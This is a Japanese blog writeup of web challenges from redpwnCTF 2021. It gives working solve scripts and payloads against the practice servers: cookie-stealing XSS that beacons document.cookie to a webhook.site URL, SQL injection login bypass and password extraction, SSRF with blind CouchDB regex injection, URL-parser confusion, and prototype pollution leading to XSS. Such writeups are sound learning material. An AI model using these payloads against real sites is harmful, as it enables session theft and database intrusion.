st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

redpwnCTF 2021 writeup

7/10 - 7/13という日程で開催された。zer0ptsで参加して4位。

[Web 103] pastebin-1 (612 solves)

かんたんXSS<script>navigator.sendBeacon('https://webhook.site/…',document.cookie)</script> でフラグが得られる。

flag{d1dn7_n33d_70_b3_1n_ru57}

[Web 104] secure (535 solves)

かんたんSQLi。

$ curl 'https://secure.mc.ax/login' -H 'content-type: application/x-www-form-urlencoded' --data-raw "username=YQ%3D%3D&password='OR'a'<'b"
Found. Redirecting to /?message=flag%7B50m37h1n6_50m37h1n6_cl13n7_n07_600d%7D

[Web 122] cool (125 solves)

INSERT 文内でSQLiできるが、50文字以下のペイロードginkoid というユーザのパスワードを抜き出す必要がある。'||(select substr(password,1,1) from users)||' というパスワードで登録すれば、ユーザ名はフォームから与えたものに、パスワードは users の最初のレコードの (つまり ginkoid の) パスワードの1文字目に設定される。こんな感じでn文字目のパスワードを含むユーザをSQLiで作った後、ログイン時にパスワードを総当たりすることで1文字ずつ特定できる。

ずっと select password from users だと複数のレコードが返ってきちゃうからエラーが起こりそうなあ、でも LIMIT 句とか WHERE 句を使おうにも文字数の制限があるしなあと悩んでいたが、aventadorさんの助言のおかげでSQLiteでは users に複数のレコードがあっても INSERT INTO users (username, password) VALUES ('user', (SELECT password FROM users)) はエラーを吐かないということに気づけた。ステレオタイプこわい。悩む前にまず試しましょう。

import requests
import random

allowed_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'

def generate_token(n=32):
  return ''.join(
    random.choice(allowed_characters) for _ in range(n)
  )

URL = 'https://cool.mc.ax'
def register(username, password):
  req = requests.post(URL + '/register', data={
    'username': username,
    'password': password
  })
  return 'You are logged in' in req.text

def login(username, password):
  req = requests.post(URL, data={
    'username': username,
    'password': password
  })
  return 'You are logged in' in req.text

i = 1
result = ''
while True:
  username = generate_token()
  register(username, f"'||(select substr(password,{i},1) from users)||'")
  for c in allowed_characters:
    if login(username, c):
      result += c
      break
  else:
    print('done')
    break

  print(i, result)
  i += 1

これで eSecFnVoKUDCfGAxfHuQxuootJ6yjKX3 がパスワードだとわかる。ginkoid としてログインするとフラグが得られる。

flag{44r0n_s4ys_s08r137y_1s_c00l}

[Web 175] Requester (41 solves)

/testAPI にSSRFがあり、POSTメソッドでHTTPリクエストをCouchDBに送らせることができる。公式のドキュメントを参考にしながらBlind Regular Expression Injection Attackの要領でフラグが抜き出せる。

$ time curl -g 'https://requester.mc.ax/testAPI?method=POST&url=http://poyoyon:poyoyoyoyoyoyo@couchdB:5984/poyoyon/_find&data={"selector":{"flag":{"$regex":"^f(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}salt$"}}}'
success
real    0m3.347s
user    0m0.005s
sys     0m0.015s
$ time curl -g 'https://requester.mc.ax/testAPI?method=POST&url=http://poyoyon:poyoyoyoyoyoyo@couchdB:5984/poyoyon/_find&data={"selector":{"flag":{"$regex":"^a(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}salt$"}}}'
success
real    0m0.734s
user    0m0.015s
sys     0m0.006s

スクリプトはこんな感じ。

import requests
import json
import string
import time

username = 'poyoyon'
password = 'poyoyoyoyoyoyo'

def query(known):
  t = time.time()
  data = json.dumps({
    'selector': {
      'flag': {
        '$regex': '^' + known + '(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}salt$'
       }
    }
  })
  req = requests.get(f'https://requester.mc.ax/testAPI?method=POST&url=http://{username}:{password}@couchdB:5984/{username}/_find&data={data}')
  return time.time() - t

known = ''
while True:
  for c in '_' + string.printable.strip().replace('*', '').replace('+', '').replace('?', '').replace('.', ''):
    if query(known + c) > 1.5:
      known += c
      break
  print(known)

10~20分ぐらい待つとフラグが得られる。

$ python3 solve.py
f
fl
fla
flag
…
flag{JaVA_tHE_GrEAteST_WeB_lANguAge_32154}

[Web 196] notes (32 solves)

tagがエスケープされていないのでXSSできるが、10文字以下に抑える必要がある。文字数の制限はあるものの、何度もコンテンツを挿入できるのでペイロードを分割してやればよい。<script>…</script><img src=… onerror=…> も文字数の調整が難しかったり、そもそも発火しなかったりするので <style onload=…></style> でなんとかする。

以下のコードを実行して https://notes.mc.ax/view/(ユーザ名) を報告するとadminとしてログインした状態のCookieが得られる。そのままadminの投稿したノートを見るとフラグが得られる。

async function post(data) {
  return fetch('/api/notes', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
    },
    body: JSON.stringify(data)
  });
}

const a = [
  {"body": "a", "tag": "<style a='"},
  {"body": "a", "tag": "'onload='`"},
  {"body": "${navigator.sendBeacon(`https://webhook.site/…`,document.cookie)}", "tag": "`'></style>"},
];
for (const b of a) {
  await post(b);
}
flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}

[Web 251] requester-strikes-back (19 solves)

Requesterの修正版。今度は /testAPI が以下のようにURLを厳格にチェックするようになり、couchdb がホスト名に含まれていれば弾かれるようになってしまった。

/* 43 */       URL urlURI = new URL(url);
/* 44 */       if (urlURI.getHost().toLowerCase().contains("couchdb"))
/* 45 */         throw new ForbiddenResponse("Illegal!"); 
/* 47 */       String urlDecoded = URLDecoder.decode(url, StandardCharsets.UTF_8);
/* 48 */       urlURI = new URL(urlDecoded);
/* 49 */       if (urlURI.getHost().toLowerCase().contains("couchdb"))
/* 50 */         throw new ForbiddenResponse("Illegal!"); 

couchdbIPアドレスを特定すればよいのかなあとか考えたが、よく考えるとA New Era of SSRFのような感じでURLパーサをごまかしてしまえばよかった。http://hoge@couchdb:5984@fuga/ を投げると、このチェックではなぜかホスト名が空文字列になるものの、その後のHTTPリクエストはちゃんと couchdb:5984 に送られる。

あとはRequesterとほぼ同じことをするだけ。ただ、なぜかBlind Regex Injection部分が動かなかった (レスポンスが返ってくる時間に差異がなかった) ので、^(既知の部分)(試す文字).*.(a*を100回繰り返す)(.*) を投げるとなぜか正解を引き当てたときにエラーが発生するという挙動を使ってフラグを得た。

import requests
import json
import string

username = 'nekoneko'
password = 'W1t306yCryjcVGsU'

def query(known):
  data = json.dumps({
    'selector': {
      'flag': {
         '$regex': '^' + known + '.*.' + 'a*' * 100 + '(.*)'
      }
    }
  })

  req = requests.get(f'https://requester-strikes-back.mc.ax/testAPI?method=POST&url=http://{username}:{password}@couchdb:5984@fuga/{username}/_find&data={data}')
  return 'Something went wrong' in req.text

known = 'fla'
while True:
  for c in string.printable.strip().replace('*', '').replace('+', '').replace('?', '').replace('.', ''):
    if query(known + c):
      known += c
      break
  print(known)
flag{TYp0_InsTEad_0F_JAvA_uRl_M4dN3ss_92643}

[Web 265] pastebin-2-social-edition (17 solves)

コメントができるPastebinみたいな感じ。adminにノートのURLを報告するとコメントを投稿してくれる。

innerHTML で検索すると以下の2箇所がヒットする。使われているDOMPurifyのバージョンは2.2.9だから自分でDOMPurifyの脆弱性を見つけない限り前者は使えない。後者はコメントの投稿時にAPIがエラーを返せばその内容を出力するというものだが、エラーメッセージにはユーザ入力が含まれないし、そのままでは使えないように思える。しかし、正常にコメントが投稿された場合には errormessageundefined であるから、もしPrototype PollutionができればXSSに持ち込める。

  document.querySelector('.paste').innerHTML = DOMPurify.sanitize(content);
    // if there's an error, show the message
    if (error) errorContainer.innerHTML = message;
    // otherwise, add the comment
    else {
      errorContainer.innerHTML = '';
      addComment(author, content);
    }

Prototype Pollutionはここ。フォーム内の各 fieldset について result[(fieldsetのname属性)][(inputのname属性)] = (inputのvalue) をしているので、__proto__ という name 属性を持つ fieldset を作ってやればPrototype Pollutionができる。

  // get form data into serializable object
  const parseForm = (form) => {
    const result = {};
    const fieldsets = form.querySelectorAll('fieldset');
    for (const fieldset of fieldsets) {
      const fieldsetName = decodeURIComponent(fieldset.name);
      if (!result[fieldsetName]) result[fieldsetName] = {};
      const inputs = fieldset.querySelectorAll('[name]');
      for (const input of inputs) {
        const inputName = decodeURIComponent(input.name);
        const inputValue = decodeURIComponent(input.value);
        result[fieldsetName][inputName] = inputValue;
      }
    }
    return result;
  };

以下のような内容のノートを作ってやってadminに報告するとフラグが得られた。

<form>
  <fieldset name="__proto_%255f">
    <input name="error" value="a">
    <input name="message" value="<img src=x onerror='navigator.sendBeacon(`https://webhook.site/…`,document.cookie)'>">
  </fieldset>
  <fieldset name="params">
    <input name="author">
    <input name="content">
    <input type="submit">
  </fieldset>
</form>
flag{m4yb3_ju57_a_l177l3_5u5p1c10u5}